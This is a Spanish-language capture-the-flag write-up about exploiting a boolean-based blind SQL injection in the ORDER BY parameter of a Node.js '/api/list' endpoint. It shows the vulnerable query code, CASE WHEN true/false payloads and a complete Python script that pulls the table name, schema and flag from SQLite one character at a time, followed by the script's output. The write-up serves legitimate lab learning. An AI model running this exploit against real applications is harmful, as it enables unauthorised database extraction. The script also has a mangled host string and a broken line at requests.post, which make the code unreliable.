Resumen

Este endpoint (/api/list) permite controlar el parámetro order que se inserta en un ORDER BY, lo que abre la puerta a una SQL Injection ciega (boolean-based). A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna flag).


Código vulnerable (punto de entrada)

En el backend se construye una query concatenando order:

async getEmojis(order) {
        // TOOD: add parametrization
        return new Promise(async (resolve, reject) => {
            try {
                let query = `SELECT * FROM emojis ORDER BY ${ order }`;
                resolve(await this.db.all(query));
            } catch(e) {
                reject(e);
            }
        });
    }

Y el endpoint recibe order desde el body:

router.post('/api/list', (req, res) => {
        let { order } = req.body;

        if (order) {
                return db.getEmojis(order)
                        .then(data => {
                                if (data) {
                                        return res.json(data);
                                }

                                return res.send(response('Seems like there are no emojis'));
                        })
                        .catch((e) => {
                                return res.send(response('Something went wrong'));
                        })
        }

        return res.send(response('Missing parameters'))
});

Confirmación: control del order

Podemos controlar el parámetro order.

Imagen del post

Imagen del post


SQLi boolean-based en ORDER BY

La idea es forzar dos comportamientos distintos (True vs False) cambiando el criterio de ordenación mediante un CASE WHEN.

"order":"(CASE WHEN (1=1) THEN id ELSE count END) ASC"  # true

"order":"(CASE WHEN (1=0) THEN id ELSE count END) ASC"  # false

Si la condición es True, la lista queda ordenada por id. Si es False, se ordena por count. Con esa diferencia podemos inferir bits de información.


Extracción carácter a carácter (blind)

Para extraer texto sin ver errores ni datos directamente, se puede consultar un carácter concreto con substr (o substring) y compararlo. En el script de ejemplo, se compara contra el valor en hex para manejar caracteres especiales.

import requests
import string

host, port = '94.237.51.160', 45916
HOST = f'{{http://{host}}}:{port}'

def req(payload):
    try:
        r = 
requests.post
(f'{HOST}/api/list', data={'order': payload})
        return r.json()
    except Exception as e:
        print(f"Request failed: {e}")
        return []

i = 0
f = ''

print("Starting injection...")

while True:
    i += 1
    found_char = False
    
    for char in string.printable:
        if char == "'":
            continue

        # Convert char to hex to handle special characters safely in SQLite
        char_hex = format(ord(char), 'x').upper()
        
        # Construct the query
        # We check if the hex of the substring equals our hex character
        query = f"SELECT hex(substr((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0),{i}, 1)) = '{char_hex}'"
        
        # Injection payload for ORDER BY clause
        # If True, order by 'id' (id 1 comes first usually)
        # If False, order by 'count' (assuming a different order)
        payload = f'(CASE WHEN ({query}) THEN id ELSE count END) ASC'
        
        response = req(payload)
        
        # Check if we got a valid response and if the first item has id 1
        if response and response[0].get('id') == 1:
            f += char
            print(f"[+] Found character: {char} | Current String: {f}")
            found_char = True
            break 

    # If we went through all characters and didn't find a match, the string has ended
    if not found_char:
        print(f"Extraction complete. Final string: {f}")
        break

Salida del script (ejemplo):

python exploit.py                                                                                                                                                                                            
Starting injection...
[+] Found character: f | Current String: f
[+] Found character: l | Current String: fl
[+] Found character: a | Current String: fla
[+] Found character: g | Current String: flag
[+] Found character: _ | Current String: flag_
[+] Found character: e | Current String: flag_e
[+] Found character: 7 | Current String: flag_e7
[+] Found character: 2 | Current String: flag_e72
[+] Found character: 6 | Current String: flag_e726
[+] Found character: 4 | Current String: flag_e7264
[+] Found character: b | Current String: flag_e7264b
[+] Found character: 5 | Current String: flag_e7264b5
[+] Found character: d | Current String: flag_e7264b5d
[+] Found character: 9 | Current String: flag_e7264b5d9
[+] Found character: 0 | Current String: flag_e7264b5d90
Extraction complete. Final string: flag_e7264b5d90

Enumeración de columnas en SQLite

En SQLite no existe DESCRIBE table como en MySQL. En su lugar, se puede consultar la columna sql de sqlite_master, que contiene el CREATE TABLE.

Cambiamos el query por:

query = f'''SELECT hex(substr((SELECT sql FROM sqlite_master WHERE tbl_name='\{flag_e7264b5d90\}'), \{i\}, 1)) = '\{char_hex\}' '''

Obtenemos una cadena como:

  • CREATE TABLE flag_e7264b5d90 (flag TEXT)

Lo que nos revela el nombre de la columna: flag.


Extracción del valor de la flag

Finalmente, apuntamos a la columna flag:

query = f'''SELECT hex(substr((SELECT flag FROM flag_e7264b5d90 ), \{i\}, 1)) = '\{char_hex\}' '''

Imagen del post